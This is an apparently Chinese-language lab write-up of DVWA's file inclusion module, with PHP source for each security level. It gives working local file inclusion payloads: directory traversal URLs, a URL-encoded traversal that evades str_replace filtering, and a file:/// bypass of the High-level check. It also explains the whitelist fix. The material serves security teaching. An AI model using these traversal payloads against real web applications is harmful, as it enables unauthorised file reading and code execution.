File Inclusion,意思是文件包含(漏洞),是指当服务器开启llow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
如果打开File Inclusion,出现下面的信息,这需要修改配置文件
找到php.ini中的allow_url_include,如果原来为off,设置为On。
重新启动服务,再次打开,显示如下,则为正常状态。
查看源代码
可以看到没有对页面提交的文件做任何过滤检查,url为http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file1.php
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
漏洞利用
本地文件包含
构造http://192.168.92.129/DVWA/vulnerabilities/fi/?page=/etc/hack
没有显示任何信息,说明服务器操作系统不是Linux。
首先构造一个php1.php文件,内容如下,显示php网站的相关信息,把该文件放在phpstudy的www路径下。(在实际渗透测试中,可以通过先进行文件上传渗透,上传脚本文件成功后,再进行文件包含渗透)
构造URL,文件参数设置为相对路径
构造http://192.168.92.129/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\phpstudy_pro\WWW\DVWA\php1.php
显示出相关信息
当然如果知道绝对路径,也可以。
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php
查看源代码如下
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到要经过两次替换,第一次把搜索到的http://和https://替换为空字符串,第二次是把../和..\ "替换为空字符(..\"可能是作者搞错,应该为..\,否则Low等级的payload照常执行,是否替换为..)
使用str_replace函数是及其不安全的,因为可以使用双写绕过替换规则。
漏洞利用
使用绝对路径
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php
没有替换,所以照常可以得到php信息。
使用相对路径,可以使用url编码(通过在线URL编码)对page的参数值进行编码
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cphpstudy_pro%5CWWW%5CDVWA%5Cphp1.php
可以照常获取信息,因为上面参数中也不会发生替换。
查看源代码
vulnerabilities/fi/source/high.php
|
分析:
可以看到,High级别的代码使用了fnmatch函数检查page参数,page参数的开头必须是file,服务器才会去接收相应的文件参数。
漏洞利用
High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图
例如,我们查看G盘下的11.log,使用浏览器或资源管理器可以打开下面文件。file:///G:/11.log
所以我们可以这样构造payload
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file:///c:/phpstudy_pro/WWW/DVWA/php1.php
仍然可以看到看到了php相关信息。
查看源代码
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
分析:
可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
-------------------------------------------------------------------------------
关注安全 关注作者